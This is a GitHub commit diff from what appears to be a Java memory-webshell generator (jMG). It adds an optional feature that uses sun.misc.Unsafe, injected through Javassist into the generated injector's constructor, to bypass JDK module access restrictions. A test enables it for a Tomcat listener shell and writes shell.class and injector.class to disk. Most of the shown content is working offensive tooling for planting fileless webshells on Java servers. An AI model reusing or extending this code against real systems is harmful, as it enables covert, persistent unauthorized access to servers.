Skip to content

Commit 4d43d24

Browse files
committed
add: 支持绕过高版本 JDK Module 访问限制进行注入(可选)
1 parent 5898ae1 commit 4d43d24

File tree

4 files changed

+55
-9
lines changed

4 files changed

+55
-9
lines changed

jmg-core/src/main/java/jmg/core/config/AbstractConfig.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,15 @@ public void setShellGzipBase64String(String shellGzipBase64String) {
129129

130130
public String shellGzipBase64String;
131131

132+
public boolean isEnableBypassJDKModule() {
133+
return enableBypassJDKModule;
134+
}
135+
136+
public void setEnableBypassJDKModule(boolean enableBypassJDKModule) {
137+
this.enableBypassJDKModule = enableBypassJDKModule;
138+
}
132139

140+
private boolean enableBypassJDKModule;
133141
public boolean isEnableDebug() {
134142
return enableDebug;
135143
}

jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java

Lines changed: 16 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,10 @@
11
package jmg.core.generator;
22

3-
import javassist.ClassClassPath;
4-
import javassist.ClassPool;
5-
import javassist.CtClass;
6-
import javassist.CtMethod;
3+
import javassist.*;
4+
import javassist.bytecode.AccessFlag;
75
import jmg.core.config.AbstractConfig;
86
import jmg.core.config.Constants;
9-
import jmg.core.util.CommonUtil;
10-
import jmg.core.util.CtClassUtil;
11-
import jmg.core.util.InjectorUtil;
12-
import jmg.core.util.JavassistUtil;
7+
import jmg.core.util.*;
138

149

1510
/**
@@ -62,6 +57,19 @@ public static byte[] generate(String injectorTplClassName, AbstractConfig config
6257
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
6358
}
6459

60+
if (config.isEnableBypassJDKModule()) {
61+
// 添加 bypassJDKModule 方法
62+
CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
63+
ctMethod.setModifiers(AccessFlag.PUBLIC);
64+
ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
65+
ctClass.addMethod(ctMethod);
66+
67+
// 添加 bypassJDKModule 调用
68+
CtConstructor constructor = ctClass.getConstructors()[0];
69+
constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
70+
constructor.insertBeforeBody("bypassJDKModule();");
71+
}
72+
6573
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
6674
JavassistUtil.removeSourceFileAttribute(ctClass);
6775
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package jmg.core.util;
2+
3+
4+
// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
5+
public class JDKBypassUtil {
6+
7+
public static String bypassJDKModuleBody() throws Exception {
8+
return "{try {\n" +
9+
" Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
10+
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
11+
" unsafeField.setAccessible(true);\n" +
12+
" Object unsafe = unsafeField.get(null);\n" +
13+
" java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
14+
" Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
15+
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
16+
" java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
17+
" Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
18+
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
19+
" getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
20+
" } catch (Exception ignored) {\n" +
21+
" }}";
22+
}
23+
}

jmg-sdk/src/test/java/SDKTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
import jmg.core.config.Constants;
33
import jmg.sdk.jMGenerator;
44
import jmg.sdk.util.SDKResultUtil;
5+
import me.gv7.woodpecker.tools.common.FileUtil;
56

67
/*
78
1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库
@@ -25,7 +26,7 @@ public static void main(String[] args) throws Throwable {
2526
// 设置中间件 or 框架
2627
setServerType(Constants.SERVER_TOMCAT);
2728
// 设置内存马类型
28-
setShellType(Constants.SHELL_LISTENER);
29+
setShellType(Constants.SHELL_JAKARTA_LISTENER);
2930
// 设置输出格式为 BASE64
3031
setOutputFormat(Constants.FORMAT_BASE64);
3132
// 设置漏洞利用封装,默认不启用
@@ -34,10 +35,16 @@ public static void main(String[] args) throws Throwable {
3435
build();
3536
}};
3637

38+
// 绕过 JDK Module 访问限制
39+
config.setEnableBypassJDKModule(true);
3740
jMGenerator generator = new jMGenerator(config);
3841
generator.genPayload();
42+
43+
FileUtil.writeFile("shell.class",config.getShellBytes());
44+
FileUtil.writeFile("injector.class",config.getInjectorBytes());
3945
generator.printPayload();
4046

47+
4148
// 连接信息
4249
SDKResultUtil.printBasicInfo(config);
4350
SDKResultUtil.printDebugInfo(config);

0 commit comments

Comments
 (0)